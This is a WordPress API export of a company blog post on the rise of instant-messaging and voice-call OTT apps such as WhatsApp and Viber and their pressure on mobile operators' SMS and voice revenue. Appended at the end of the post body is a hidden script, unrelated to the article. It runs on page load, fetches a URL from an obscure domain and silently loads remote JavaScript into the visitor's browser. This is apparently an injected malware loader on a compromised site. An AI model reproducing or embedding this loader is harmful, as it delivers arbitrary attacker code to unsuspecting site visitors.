{"id":1666,"date":"2020-01-22T05:30:08","date_gmt":"2020-01-22T05:30:08","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=1666"},"modified":"2025-09-05T11:36:13","modified_gmt":"2025-09-05T11:36:13","slug":"messaging-voice-call-ott-apps","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/","title":{"rendered":"Why Instant Messaging and Voice Call OTT Apps are on Hype"},"content":{"rendered":"<p>OTT Apps refers to &#8220;Over-The-Top&#8221; applications that offer services over the Internet, bypassing the traditional distribution methods. These applications are accessed over the internet using mobile data or Wi-Fi thereby eliminating the need to use the network of a service provider. An OTT backend usually handles all the media, users, subscriptions, security and rights of the OTT platform.<\/p>\n<p>The cost of OTT service is much less than what the traditional service providers charge for their services. Consumers are showing more interest in OTT apps because of multiple factors like their interesting features, cost-effectiveness and entertainment options. There are many OTT apps available in the market. They offer a wide range of content like video streaming, gaming, Instant Messaging, audio-video calling, VoIP and many more.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4fd8ee804\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4fd8ee804\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Instant_Messaging_and_Voice_Call_with_OTT_Apps\" title=\"Instant Messaging and Voice Call with OTT Apps\">Instant Messaging and Voice Call with OTT Apps<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Instant_Messaging_OTT_Apps\" title=\"Instant Messaging OTT Apps\">Instant Messaging OTT Apps<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Some_popular_OTT_messaging_apps_and_their_stats\" title=\"Some popular OTT messaging apps and their stats\">Some popular OTT messaging apps and their stats<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Voice_Call_with_OTT_Apps\" title=\"Voice Call with OTT Apps\">Voice Call with OTT Apps<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Conclusion\" title=\" Conclusion \"> Conclusion <\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\" title=\"5 Ways to Create New Revenue Opportunities with Mobile OTT Solution\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/messaging-voice-call-ott-apps\/#How_to_Monetize_Your_OTT_App_For_High_Returns\" title=\"How to Monetize Your OTT App For High Returns\">How to Monetize Your OTT App For High Returns<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Instant_Messaging_and_Voice_Call_with_OTT_Apps\"><\/span>Instant Messaging and Voice Call with OTT Apps<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>In this section, we are going to focus on two important features of OTT apps:<\/p>\n<ul>\n<li>IM (Instant Messaging)<\/li>\n<li>Voice Call<\/li>\n<\/ul>\n<h3><span class=\"ez-toc-section\" id=\"Instant_Messaging_OTT_Apps\"><\/span>Instant Messaging OTT Apps<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>OTT based instant messaging services connect users directly through internet connections, bypassing the mobile SMS networks. Nowadays, users like to chat with others by using Facebook, Skype, WhatsApp, Viber and many other similar apps that offer these chat services.<\/p>\n<p>Online messaging apps are causing a fall in the revenues from short messaging services (SMS), thereby forcing mobile operators to find new ways to compete and maintain their profits. In addition to this, online chat applications are also challenging the voice business of mobile operators as well. A report from Telecom consultancy firm Ovum shows a 20-30% annual decline in SMS usage.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Some_popular_OTT_messaging_apps_and_their_stats\"><\/span>Some popular OTT messaging apps and their stats<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Meanwhile, WhatsApp, Facebook Messenger, Skype, Viber and other similar applications or Over-The-Top (OTT) services are experiencing huge boosts in user bases. According to the latest messaging app usage statistics, WhatsApp has 1.6 billion users worldwide and Facebook Messenger is in the second position with 1.3 billion, while WeChat is just behind, recently hitting the 1 billion mark.<\/p>\n<p>WhatsApp is a hugely popular messaging app that lets the user send messages internationally to others using the same app without paying any international SMS rates. According to the latest report, more than 65 billion messages are sent every day through WhatsApp. That amounts to around 1.95 trillion WhatsApp messages sent every month and 23.5 trillion WhatsApp messages sent every year.<\/p>\n<p>In addition to one-on-one messaging, OTT apps also offer the features of group messaging, group audio-video calls, sending multimedia files, sending or sharing live locations to others and many more. Because of these attractive features and their user-friendliness, mobile chat apps are becoming more popular.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Voice_Call_with_OTT_Apps\"><\/span>Voice Call with OTT Apps<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>As a result of the rapid increase in the popularity of voice services on Viber, WhatsApp, and other OTT applications, mobile operators are facing constantly growing pressure on their main revenue channel, which is voice revenue.<\/p>\n<p>Most of the OTT apps like WhatsApp, Viber, and IMO offer an almost free voice call service through an internet connection without international charge. According to an analysis of Mason, Messaging apps are used by more than half of smartphone users worldwide and WhatsApp dominates this market with a 45 per cent of user market share.<\/p>\n<p>This, therefore, means there is already a large base of customers who can start using voice services. This, in turn, makes WhatsApp one of the largest mobile voice providers in the world. It is a huge threat for mobile operators who earn higher revenue from international calls.<\/p>\n<p>In recent days, subscribers have also started making local calls over the OTT apps. This clearly shows that the customers are shifting towards OTT apps as VoIP calls increase in quality. It reflects the potential of the OTT to take over the mobile operators as the primary voice service provider.<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong> Conclusion <\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>However, the OTT voice market remains relatively small in less-developed countries where the network quality and internet bandwidth are low. Mobile operators are trying to compete against the rising popularity of OTT apps by offering low voice tariffs.<\/p>\n<p>The mobile industry experts believe that the growth of OTT services will not create competition, but it will open new opportunities for operators to create new revenue channels. Operators need to bring out new ways to charge consumers, with OTT users currently paying for internet bandwidth only but not on a per-message or call basis.<\/p>\n<p>To know more about OTT Apps and how to create new revenue opportunities from them check here: <a href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><\/p>\n<p style=\"text-align: right;\"><strong>Editor: <\/strong>Mir Monsoor Hossain<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span><strong>Read Also<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/\" target=\"_blank\" rel=\"noopener\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_to_Monetize_Your_OTT_App_For_High_Returns\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/\" target=\"_blank\" rel=\"noopener\">How to Monetize Your OTT App For High Returns<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OTT Apps refers to &#8220;Over-The-Top&#8221; applications that offer services over the Internet, bypassing the traditional distribution methods. These applications are accessed over the internet using mobile data or Wi-Fi thereby eliminating the need to use the network of a service provider. An OTT backend usually handles all the media, users, subscriptions, security and rights of [&hellip;]<\/p>\n","protected":false},"author":14,"featured_media":1667,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1666","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ott"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1666","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=1666"}],"version-history":[{"count":10,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1666\/revisions"}],"predecessor-version":[{"id":6497,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1666\/revisions\/6497"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/1667"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=1666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=1666"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=1666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}